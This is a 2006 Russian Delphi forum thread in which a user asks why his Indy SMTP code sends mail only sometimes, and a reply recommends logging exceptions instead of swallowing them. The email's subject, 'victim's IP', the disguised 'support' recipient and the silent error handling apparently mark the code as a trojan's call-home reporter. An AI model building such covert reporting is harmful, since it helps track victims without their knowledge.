| Новости | Поиск | FAQ | Статьи | Книги | Новости VCL | | Форумы ЧАТ | Орешник | KOL и MCK |
Форумы -» Основная («Начинающим»)/ Базы / WinAPI / Компоненты / Сети / Media / Игры / Corba и COM / KOL / FreePascal / .Net / Прочее / RSDN.ORG

	« предыдущая ветвь | форум | следующая ветвь »

Отправка письма. НУ НИКАК НЕ ХОЧЕТ!!! [D6, XP]

Новочеркасский Волк ©   (2006-03-08 22:14:00) 

Здравствуйте я пытаюсь отправить письмо на мыло через Delphi 6. И использую для этого следущий код:

procedure TForm1.Button1Click(Sender: TObject);
var
LSMTP: TIdSMTP;
LMsg: TIdMessage;

begin //Ну начинаем
LSMTP := TIdSMTP.Create(nil); //Создаемся
LMsg := TIdMessage.Create(LSMTP);
with LMsg do
begin
Subject :='IP жертвы'; // Здесь вводим тему
Recipients.EMailAddresses := 'suport_service@inbox.ru'; // куда будет послано письмо...
From.Text :='odinokiy_volk@inbox.ru'; //От кудыкина будет письмо
Body.Add('Текст');
end;
with LSMTP do
begin
AuthenticationType:=atNone;
Host := 'smtp.mail.ru';
Port :=25;
SocksInfo.Host:='odinokiy_volk@inbox.ru'; //здесь происходит авторизация(как в почтовом клиенте)
Password :='ХХХ';
try
Connect; //зухель коннект!!
Send(LMsg);
except
end;
end;
FreeAndNil(LMsg);
FreeAndNil(LSMTP);
end;

И он то отправляет всё нормально, то вообще не отправляет (что бывает на много чаще). Подскажите пожалуйсто где ошибка и чё не так???
---------------------------------------------
Заранее всем спасибо!!!

---

Новочеркасский Волк   (2006-03-08 23:59:00) [1]

Спасибо тебе Sergey Masloff ОГРОМНОЕ!!!! Всё стало на круги своя. Всё стало работать вроде.

---

Sergey Masloff   (2006-03-08 22:41:00) [2]

Ну так в except вставь что-то что запишет из-за чего облом. А так долго гадать будешь - замочил втихую исключение и доволен ;-)
 Слышал о конторах где за except {тут ничего нет} end штрафовали сразу на 50 у.е. Хотя это зря - надо на 1 раз беседу а на второй увольнение по несоответствию занимаемой должности.

---

Наверх